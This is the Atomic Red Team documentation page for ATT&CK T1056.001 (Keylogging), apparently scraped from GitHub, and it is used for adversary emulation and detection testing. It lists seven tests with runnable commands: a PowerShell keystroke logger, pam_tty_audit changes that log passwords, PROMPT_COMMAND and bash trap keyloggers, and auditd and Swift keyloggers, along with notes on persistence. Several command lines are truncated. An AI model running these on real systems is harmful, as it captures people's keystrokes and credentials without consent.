Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

Files

f339e7d

Go to file

- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
  - T1020
  - T1021.001
  - T1021.002
  - T1021.003
  - T1021.006
  - T1027.001
  - T1027.002
  - T1027.004
  - T1027
  - T1030
  - T1033
  - T1036.003
  - T1036.004
  - T1036.005
  - T1036.006
  - T1036

atomic-red-team / atomics / T1056.001 / T1056.001.md

Atomic Red Team doc generat... Generated docs from job=generate-d... 589c71e · 2 years ago History

Preview Code Blame 379 lines (220 loc) · 11.1 KB Raw

T1056.001 - Keylogging

Description from ATT&CK

> Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.
>
> Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:
>
> - Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
> - Reading raw keystroke data from the hardware buffer.
> - Windows Registry modifications.
> - Custom drivers.
> - Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

Atomic Tests

- Atomic Test #1 - Input Capture
- Atomic Test #2 - Living off the land Terminal Input Capture on Linux with pam.d
- Atomic Test #3 - Logging bash history to syslog
- Atomic Test #4 - Bash session based keylogger
- Atomic Test #5 - SSHD PAM keylogger
- Atomic Test #6 - Auditd keylogger
- Atomic Test #7 - MacOS Swift Keylogger

Atomic Test #1 - Input Capture

Utilize PowerShell and external resource to capture keystrokes Payload Provided by PowerSploit

> T1037.001
> T1037.002
> T1037.004
> T1037.005
> T1039
> T1040

Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.

Supported Platforms: Windows

auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26

Inputs:

Name	Description	Type	Default Value
filepath	Name of the local file, include path.	Path	$env:TEMP\key.log

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Set-Location $PathToAtomicsFolder
.\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath}
```

Cleanup Commands:

```
Remove-Item $env:TEMP\key.log -ErrorAction Ignore
```

Atomic Test #2 - Living off the land Terminal Input Capture on Linux with pam.d

Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).

Use 'aureport --tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library.

Supported Platforms: Linux

auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/passwo
```

Cleanup Commands:

```
sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
```

Dependencies: Run with `sh`!

Description: Checking if pam_tty_audit.so is installed

Check Prereq Commands:

```
test -f '/usr/lib/pam/pam_tty_audit.so -o  /usr/lib64/security/pam_tty_a
```

Get Prereq Commands:

```
echo "Sorry, you must install module pam_tty_audit.so and recompile, for
```

Atomic Test #3 - Logging bash history to syslog

There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/

Supported Platforms: Linux

auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$
echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
tail /var/log/syslog
```

Cleanup Commands:

```
unset PROMPT_COMMAND
```

Dependencies: Run with `sh`!

Description: This test requires to be run in a bash shell and that logger and tee are installed.

Check Prereq Commands:

```
if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not r
if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT ins
if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed
```

Get Prereq Commands:

```
echo ""
```

Atomic Test #4 - Bash session based keylogger

When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = "echo $BASH_COMMAND". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/

Supported Platforms: Linux

auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258

Inputs:

Name	Description	Type	Default Value
output_file	File to store captured commands	String	/tmp/.keyboard.log

Attack Commands: Run with `sh`!

```
trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{ou
echo "Hello World!"
cat #{output_file}
```

Cleanup Commands:

```
rm #{output_file}
```

Dependencies: Run with `sh`!

Description: This test requires to be run in a bash shell

Check Prereq Commands:

```
if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not r
```

Get Prereq Commands:

```
echo ""
```

Atomic Test #5 - SSHD PAM keylogger

Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.

Supported Platforms: Linux

auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca

Inputs:

Name	Description	Type	Default Value
user_account	Basic ssh user account for testing.	String	ubuntu

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
cp -v /etc/pam.d/sshd /tmp/
echo >> "session required pam_tty_audit.so disable=* enable=* open_only
systemctl restart sshd
systemctl restart auditd
ssh #{user_account}@localhost
whoami
sudo su
whoami
exit
exit
```

Cleanup Commands:

```
cp -fv /tmp/sshd /etc/pam.d/
```

Dependencies: Run with `sh`!

Description: This test requires sshd and auditd

Check Prereq Commands:

```
if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT install
if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT ins
```

Get Prereq Commands:

```
echo ""
```

Atomic Test #6 - Auditd keylogger

The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log.

Supported Platforms: Linux

auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
auditctl -a always,exit -F arch=b64 -S execve -k CMDS
auditctl -a always,exit -F arch=b32 -S execve -k CMDS
whoami; ausearch -i --start $(date +"%d/%m/%y %H:%M:%S")
```

Cleanup Commands:

```
systemctl restart auditd
```

Dependencies: Run with `sh`!

Description: This test requires sshd and auditd

Check Prereq Commands:

```
if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT ins
```

Get Prereq Commands:

```
echo ""
```

Atomic Test #7 - MacOS Swift Keylogger

Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required. Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring. Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74

Supported Platforms: macOS

auto_generated_guid: aee3a097-4c5c-4fff-bbd3-0a705867ae29

Inputs:

Name	Description	Type	Default Value
swift_src	Location of swift script	Path	PathToAtomicsFolder/T1056.001/src/MacOSKeylogg

Attack Commands: Run with `bash`!

```
swift #{swift_src} -keylog
```

Cleanup Commands:

```
kill `pgrep swift-frontend`
```

Dependencies: Run with `bash`!

Description: swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions.

Check Prereq Commands:

```
if [ -f #{swift_src} ]; then chmod +x #{swift_src}; else exit 1; fi
```

Get Prereq Commands:

```
echo ""
```